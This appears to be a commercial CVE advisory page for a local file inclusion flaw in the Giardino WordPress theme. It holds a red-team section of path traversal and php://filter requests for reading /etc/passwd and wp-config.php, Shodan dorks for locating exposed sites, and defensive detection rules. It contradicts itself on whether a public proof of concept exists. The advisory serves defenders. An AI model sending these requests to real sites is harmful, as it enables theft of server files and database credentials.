☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Axiomthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-60067

CVE-2025-60067 Local File Inclusion in Axiomthemes
📅 PUBLISHED: 2025-12-18 08:16 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60067 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Axiomthemes Giardino WordPress theme, affecting versions up to and including 1.1.10. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, database configuration files (wp-config.php), or source code. The CVSS score of 8.1 (High) reflects the ease of exploitation and potential for high confidentiality impact. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the Axiomthemes marketplace and potentially bundled with other products. Since it is a PHP application component, the supply chain risk includes:

  • Compromised theme updates if the vendor's distribution channel is attacked.
  • Dependency confusion if the theme relies on third-party libraries with known vulnerabilities.
  • No known patch means users must rely on manual mitigation or removal of the theme.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 8.1 (High)
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – unauthenticated.
  • User Interaction: None (UI:N) – no user action needed.
  • Scope: Unchanged (S:U) – vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – full file read possible.
  • Integrity Impact: None (I:N) – no file modification.
  • Availability Impact: None (A:N) – no denial of service.

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can expose sensitive server files.

Deep Dive & Mechanics

The vulnerability exists in the Giardino theme's PHP code, likely in a function that dynamically includes template files or other resources based on user-supplied input (e.g., via $_GET, $_POST, or $_COOKIE). The improper control of the filename allows path traversal sequences (e.g., ../../) to escape the intended directory and include arbitrary files.

Root Cause: The theme uses a construct similar to:

include($_GET['file'] . '.php');

or

require_once($template_path . '/' . $_REQUEST['template']);

without proper sanitization or validation of the input. This allows an attacker to supply a path like ../../../../etc/passwd%00 (null byte injection) or simply ../../../../etc/passwd if the extension is appended.

Attack Flow:

  1. Attacker identifies a vulnerable parameter (e.g., ?file=, ?template=, ?page=).
  2. Attacker sends a crafted request with path traversal sequences.
  3. The server includes the specified file, outputting its contents in the response.
  4. Attacker reads sensitive files (e.g., wp-config.php for database credentials).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is hypothetical but typical for LFI vulnerabilities.

Vulnerable Code (example):

// In a theme template loader
$template = $_GET['template'];
include('templates/' . $template . '.php');

Patched Code (recommended):

// Whitelist allowed templates
$allowed_templates = ['home', 'single', 'page', 'archive'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include('templates/' . $template . '.php');
} else {
    // Default template
    include('templates/home.php');
}

Additional hardening:

  • Use realpath() to resolve the path and ensure it stays within the allowed directory.
  • Disable allow_url_include in php.ini to prevent remote file inclusion.
  • Use a whitelist approach instead of blacklisting.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target running WordPress with Giardino theme <= 1.1.10.
  • A vulnerable parameter identified (e.g., ?giardino_template=).

Exploitation Steps:

  1. Identify vulnerable endpoint: Scan for common parameters like ?file=, ?template=, ?page=, ?include=.
  2. Test for LFI: Send a request to read /etc/passwd:
    GET /?giardino_template=../../../../etc/passwd HTTP/1.1
    Host: target.com
    
  3. Read sensitive files: Attempt to read wp-config.php:
    GET /?giardino_template=../../../../wp-config.php HTTP/1.1
    
    (Note: PHP files will be executed, not displayed. Use php://filter to read source code.)
  4. Use PHP wrappers: If allow_url_include is off, use php://filter to read source:
    GET /?giardino_template=php://filter/convert.base64-encode/resource=../../../../wp-config.php HTTP/1.1
    
  5. Decode base64 output to get the file contents.

Example cURL command:

curl -v "http://target.com/?giardino_template=../../../../etc/passwd"

Blue Team (Defensive)

Detection:

  • Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f, ..%252f).
  • Look for requests to non-existent template files or unusual parameters.
  • Use WAF rules to block ../ sequences in query strings.

Hunting:

  • Search logs for giardino_template parameter usage.
  • Check for base64-encoded strings in responses (indicates php://filter usage).
  • Correlate with file access logs for sensitive files like /etc/passwd or wp-config.php.

Containment:

  • Temporarily disable the Giardino theme and switch to a default WordPress theme.
  • Implement a web application firewall (WAF) rule to block LFI attempts.
  • Restrict file permissions on sensitive files (e.g., wp-config.php should be 640).

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests containing ../ or ..%2f in query parameters.
  • Requests to /?giardino_template= or similar parameters.
  • Responses containing base64-encoded strings (from php://filter).
  • Outbound connections to attacker-controlled servers (if RFI is possible).

File System IOCs:

  • Unauthorized access to /etc/passwd, /etc/shadow, wp-config.php, .htaccess.
  • Presence of unexpected files in the web root (e.g., shells uploaded via LFI to RCE).

Log IOCs:

  • Web server logs showing 404 for non-existent templates but 200 for path traversal attempts.
  • PHP error logs showing include() failures or warnings.

Detection Engineering

YARA Rule

rule CVE_2025_60067_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting Giardino theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60067"
    strings:
        $s1 = "giardino_template=" nocase
        $s2 = "../" ascii
        $s3 = "..%2f" ascii
        $s4 = "php://filter" ascii
        $s5 = "/etc/passwd" ascii
        $s6 = "wp-config.php" ascii
    condition:
        any of ($s1, $s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-60067 Giardino LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts targeting the Giardino theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'giardino_template='
            - '../'
            - '..%2f'
            - 'php://filter'
    condition: selection
falsepositives:
    - Legitimate use of similar parameters in other themes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60067 Giardino LFI Attempt"; flow:to_server,established; content:"giardino_template="; http_uri; content:"../"; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Giardino theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
  2. Implement a WAF rule to block requests containing ../ or php://filter in query parameters.
  3. Restrict file permissions on sensitive files (e.g., chmod 640 wp-config.php).

Long-term Fix:

  • Vendor patch: Await an official update from Axiomthemes. If none is provided, consider switching to a different theme permanently.
  • Code hardening: If you have access to the theme source, apply the patched code example above.
  • Monitor for updates: Subscribe to CVE alerts and vendor announcements.

Workaround:

  • Use a WordPress security plugin (e.g., Wordfence) with LFI protection enabled.
  • Add the following to .htaccess to block path traversal:
    RewriteEngine On
    RewriteCond %{QUERY_STRING} (\.\./|%2e%2e%2f|php://filter) [NC]
    RewriteRule .* - [F,L]
    

Valters IT
Securing digital frontiers with precision and intelligence.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Giardino"
http.html:"wp-content/themes/giardino"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60067/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.